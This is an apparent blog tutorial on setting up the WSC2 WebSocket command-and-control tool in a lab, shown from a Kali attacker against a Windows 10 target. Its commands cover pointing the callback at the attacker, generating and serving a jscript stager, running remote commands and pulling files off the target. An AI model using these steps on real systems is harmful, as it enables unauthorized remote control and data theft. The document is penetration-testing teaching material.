Command & Control: WebSocket C2

April 14, 2019   By Raj Chandel

In this article, we will learn how to use WebSocket C2 tool. It is also known as WSC2.

Table of Content:

Introduction

WSC2 is primarily a tool for post-exploitation. WSC2 uses the WebSocket and a browser process. This serves as a C2 communication channel between an agent, running on the target system, and a controller acting as the actual C2 server. This tool is developed using python. The credit for developing this tool goes to Arno0x0x.

For this particular demonstration,

Attacker: Kali Linux

Target: Windows 10

Installation

To begin, first we need the tool on our Attacker Machine. To do this, we will clone the tool directly from the GitHub.

```
git clone //github.com/Arno0x/WSC2.git
```


After running the above command, we would have a directory created by the name of WSC2. Now, we will traverse inside that directory using the cd command. Let's see the contents of the directory that we just cloned using the ls command.

```
cd WSC2/
ls
```


After that we are going to need to install the dependencies of the tool. There are multiple ways to do this, but here we are using pip command along with a requirements.txt file that we cloned from git earlier.

```
pip install -r requirements.txt
```


As we saw earlier that we have a config.py file inside the cloned directory. We have to make some changes inside this config.py file so as to get the session on our system. We used nano to edit the file. As shown in the figure, when we opened the config.py file using nano, we found a variable CALLBACK. It has an IP Address. We changed it to the IP Address of our Attacker Machine i.e Kali Linux.

```
nano config.py
```


Exploiting Target

Now, it's time to run the tool, check for appropriate permission before running the tool. As we run the tool, we are greeted with a cool looking banner as shown in the given below. Followed by some details about the Author and Version and tool. After this, it will create an incoming directory inside the Directory we cloned earlier. This will be used as a buffer to save files from the target.

```
./wsc2.py
```


We are going to create a batch file. But we can use many other types of stager options. This tool provides stager in jscript1, jscript2, jscript3. We are using jscript1 here because it is not required to compile. Rest of the stagers are required to compile. This command will create a wsc2Agent1.js in stagers directory.

```
genStager jscript1
```


Now let's get the file to the target machine. To do this we will open up a new terminal and traverse into the stagers directory using the cd command. Here, we are using the python server to share the file to the target. This can be done using any other method of choice.

```
cd stagers/
ls
python -m SimpleHTTPServer 80
```

```
root@kali:~/WSC2# cd stagers/
root@kali:~/WSC2/stagers# ls
wsc2Agent1.js
root@kali:~/WSC2/stagers# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
```

After the jscript file is executed on the target machine, we will be informed with a message on the terminal that New agent connected. Now we will use the list command to see the list of the agents.

```
list
```

```
[no agent]#> [+] New agent connected: [192.168.1.3:50122]
[no agent]#> list
        Agent list
        ----------------
        [192.168.1.3:50122]
```

And then we will copy the AgentID and then use it to interact with the session as shown in the given image.

```
use [AgentID]
```

```
[no agent]#> use 192.168.1.3:50122
[192.168.1.3:50122]#>
```

Command Execution

We can run some PowerShell commands on the target machine using the command cli. Here we run the command systeminfo. And we have the system information of the target as shown in the given image.

```
cli
systeminfo
```

```
[192.168.1.3:50122]#> cli
[*] Switching to CLI mode
[*] Use the command 'back' to exit CLI mode
[192.168.1.3:50122-cli]#> systeminfo

Host Name:              PAVAN-PC
OS Name:                Microsoft Windows 10 Pro
OS Version:             10.0.17763 N/A Build 17763
OS Manufacturer:        Microsoft Corporation
OS Configuration:       Standalone Workstation
OS Build Type:          Multiprocessor Free
```

File Download

Furthermore, we can download files from the target. To do this we will have to use the command getFile followed by the file name or path. This will download the file form the target to our attacker machine.

```
help getFile
getFile sample_text.txt
```

```
[192.168.1.3:50122]#> help getFile
getFile <agent local file>
Download a file from the agent to the local system
[192.168.1.3:50122]#> getFile sample_file.txt
```

The tool will download the file inside the incoming directory we discussed earlier. We can view the file using cat command as shown in the image given below.

```
cd incoming/
ls
cat sample_file.txt
```

```
root@kali:~/WSC2# cd incoming/
root@kali:~/WSC2/incoming# ls
sample_file.txt
root@kali:~/WSC2/incoming# cat sample_file.txt
Hackingarticles.in
```